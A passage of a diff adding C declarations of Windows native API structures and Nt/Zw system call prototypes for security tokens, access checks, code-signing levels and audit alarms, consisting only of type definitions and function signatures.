PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1 +{ + UNICODE_STRING Name; + USHORT ValueType; + USHORT Reserved; + ULONG Flags; + ULONG ValueCount; + union + { + PLONG64 pInt64; + PULONG64 pUint64; + PUNICODE_STRING pString; + PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn; + PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString; + } Values; +} TOKEN_SECURITY_ATTRIBUTE_V1, * PTOKEN_SECURITY_ATTRIBUTE_V1; + +// rev +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 1 +// rev +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION +{ + USHORT Version; + USHORT Reserved; + ULONG AttributeCount; + union + { + PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1; + } Attribute; +} TOKEN_SECURITY_ATTRIBUTES_INFORMATION, * PTOKEN_SECURITY_ATTRIBUTES_INFORMATION; + +// private +typedef enum _TOKEN_SECURITY_ATTRIBUTE_OPERATION +{ + TOKEN_SECURITY_ATTRIBUTE_OPERATION_NONE, + TOKEN_SECURITY_ATTRIBUTE_OPERATION_REPLACE_ALL, + TOKEN_SECURITY_ATTRIBUTE_OPERATION_ADD, + TOKEN_SECURITY_ATTRIBUTE_OPERATION_DELETE, + TOKEN_SECURITY_ATTRIBUTE_OPERATION_REPLACE +} TOKEN_SECURITY_ATTRIBUTE_OPERATION, * PTOKEN_SECURITY_ATTRIBUTE_OPERATION; + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTES_AND_OPERATION_INFORMATION +{ + PTOKEN_SECURITY_ATTRIBUTES_INFORMATION Attributes; + PTOKEN_SECURITY_ATTRIBUTE_OPERATION Operations; +} TOKEN_SECURITY_ATTRIBUTES_AND_OPERATION_INFORMATION, * PTOKEN_SECURITY_ATTRIBUTES_AND_OPERATION_INFORMATION; + +// rev +typedef struct _TOKEN_PROCESS_TRUST_LEVEL +{ + PSID TrustLevelSid; +} TOKEN_PROCESS_TRUST_LEVEL, * PTOKEN_PROCESS_TRUST_LEVEL; + +// +// Tokens +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE Type, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE Source +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE Type, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE Source +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateLowBoxToken( + _Out_ PHANDLE TokenHandle, + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PSID PackageSid, + _In_ ULONG CapabilityCount, + _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities, + _In_ ULONG HandleCount, + _In_reads_opt_(HandleCount) HANDLE* Handles +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateLowBoxToken( + _Out_ PHANDLE TokenHandle, + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PSID PackageSid, + _In_ ULONG CapabilityCount, + _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities, + _In_ ULONG HandleCount, + _In_reads_opt_(HandleCount) HANDLE* Handles +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTokenEx( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE Type, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes, + _In_opt_ PTOKEN_GROUPS DeviceGroups, + _In_opt_ PTOKEN_MANDATORY_POLICY MandatoryPolicy, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE Source +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateTokenEx( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE Type, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes, + _In_opt_ PTOKEN_GROUPS DeviceGroups, + _In_opt_ PTOKEN_MANDATORY_POLICY MandatoryPolicy, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE Source +); +#endif + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE Type, + _Out_ PHANDLE NewTokenHandle +); + + +_When_(TokenInformationClass == TokenAccessInformation, +_At_(TokenInformationLength, + _In_range_(>= , sizeof(TOKEN_ACCESS_INFORMATION)))) +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, + _Out_ _When_(PreviousState == NULL, _Out_opt_) PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustGroupsToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_opt_ PTOKEN_GROUPS NewState, + _In_range_(>= , sizeof(TOKEN_GROUPS)) ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState, + _Out_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAdjustGroupsToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_opt_ PTOKEN_GROUPS NewState, + _In_opt_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState, + _Out_opt_ PULONG ReturnLength +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustTokenClaimsAndDeviceGroups( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN UserResetToDefault, + _In_ BOOLEAN DeviceResetToDefault, + _In_ BOOLEAN DeviceGroupsResetToDefault, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState, + _In_opt_ PTOKEN_GROUPS NewDeviceGroupsState, + _In_ ULONG UserBufferLength, + _Out_writes_bytes_to_opt_(UserBufferLength, *UserReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState, + _In_ ULONG DeviceBufferLength, + _Out_writes_bytes_to_opt_(DeviceBufferLength, *DeviceReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState, + _In_ ULONG DeviceGroupsBufferLength, + _Out_writes_bytes_to_opt_(DeviceGroupsBufferLength, *DeviceGroupsReturnBufferLength) PTOKEN_GROUPS PreviousDeviceGroups, + _Out_opt_ PULONG UserReturnLength, + _Out_opt_ PULONG DeviceReturnLength, + _Out_opt_ PULONG DeviceGroupsReturnBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAdjustTokenClaimsAndDeviceGroups( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN UserResetToDefault, + _In_ BOOLEAN DeviceResetToDefault, + _In_ BOOLEAN DeviceGroupsResetToDefault, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState, + _In_opt_ PTOKEN_GROUPS NewDeviceGroupsState, + _In_ ULONG UserBufferLength, + _Out_writes_bytes_to_opt_(UserBufferLength, *UserReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState, + _In_ ULONG DeviceBufferLength, + _Out_writes_bytes_to_opt_(DeviceBufferLength, *DeviceReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState, + _In_ ULONG DeviceGroupsBufferLength, + _Out_writes_bytes_to_opt_(DeviceGroupsBufferLength, *DeviceGroupsReturnBufferLength) PTOKEN_GROUPS PreviousDeviceGroups, + _Out_opt_ PULONG UserReturnLength, + _Out_opt_ PULONG DeviceReturnLength, + _Out_opt_ PULONG DeviceGroupsReturnBufferLength +); +#endif + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterTokenEx( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _In_ ULONG DisableUserClaimsCount, + _In_opt_ PUNICODE_STRING UserClaimsToDisable, + _In_ ULONG DisableDeviceClaimsCount, + _In_opt_ PUNICODE_STRING DeviceClaimsToDisable, + _In_opt_ PTOKEN_GROUPS DeviceGroupsToDisable, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes, + _In_opt_ PTOKEN_GROUPS RestrictedDeviceGroups, + _Out_ PHANDLE NewTokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFilterTokenEx( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _In_ ULONG DisableUserClaimsCount, + _In_opt_ PUNICODE_STRING UserClaimsToDisable, + _In_ ULONG DisableDeviceClaimsCount, + _In_opt_ PUNICODE_STRING DeviceClaimsToDisable, + _In_opt_ PTOKEN_GROUPS DeviceGroupsToDisable, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes, + _In_opt_ PTOKEN_GROUPS RestrictedDeviceGroups, + _Out_ PHANDLE NewTokenHandle +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySecurityAttributesToken( + _In_ HANDLE TokenHandle, + _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes, + _In_ ULONG NumberOfAttributes, + _Out_writes_bytes_(Length) PVOID Buffer, // PTOKEN_SECURITY_ATTRIBUTES_INFORMATION + _In_ ULONG Length, + _Out_ PULONG ReturnLength +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySecurityAttributesToken( + _In_ HANDLE TokenHandle, + _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes, + _In_ ULONG NumberOfAttributes, + _Out_writes_bytes_(Length) PVOID Buffer, // PTOKEN_SECURITY_ATTRIBUTES_INFORMATION + _In_ ULONG Length, + _Out_ PULONG ReturnLength +); +#endif + +// +// Access checking +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheck( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheck( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByType( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByType( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultList( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus +); + +// +// Signing +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetCachedSigningLevel( + _In_ ULONG Flags, + _In_ SE_SIGNING_LEVEL InputSigningLevel, + _In_reads_(SourceFileCount) PHANDLE SourceFiles, + _In_ ULONG SourceFileCount, + _In_opt_ HANDLE TargetFile +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetCachedSigningLevel( + _In_ ULONG Flags, + _In_ SE_SIGNING_LEVEL InputSigningLevel, + _In_reads_(SourceFileCount) PHANDLE SourceFiles, + _In_ ULONG SourceFileCount, + _In_opt_ HANDLE TargetFile +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetCachedSigningLevel( + _In_ HANDLE File, + _Out_ PULONG Flags, + _Out_ PSE_SIGNING_LEVEL SigningLevel, + _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint, + _Inout_opt_ PULONG ThumbprintSize, + _Out_opt_ PULONG ThumbprintAlgorithm +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetCachedSigningLevel( + _In_ HANDLE File, + _Out_ PULONG Flags, + _Out_ PSE_SIGNING_LEVEL SigningLevel, + _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint, + _Inout_opt_ PULONG ThumbprintSize, + _Out_opt_ PULONG ThumbprintAlgorithm +); + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareSigningLevels( + _In_ SE_SIGNING_LEVEL FirstSigningLevel, + _In_ SE_SIGNING_LEVEL SecondSigningLevel +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompareSigningLevels( + _In_ SE_SIGNING_LEVEL FirstSigningLevel, + _In_ SE_SIGNING_LEVEL SecondSigningLevel +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +// +// Audit alarm +// + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK 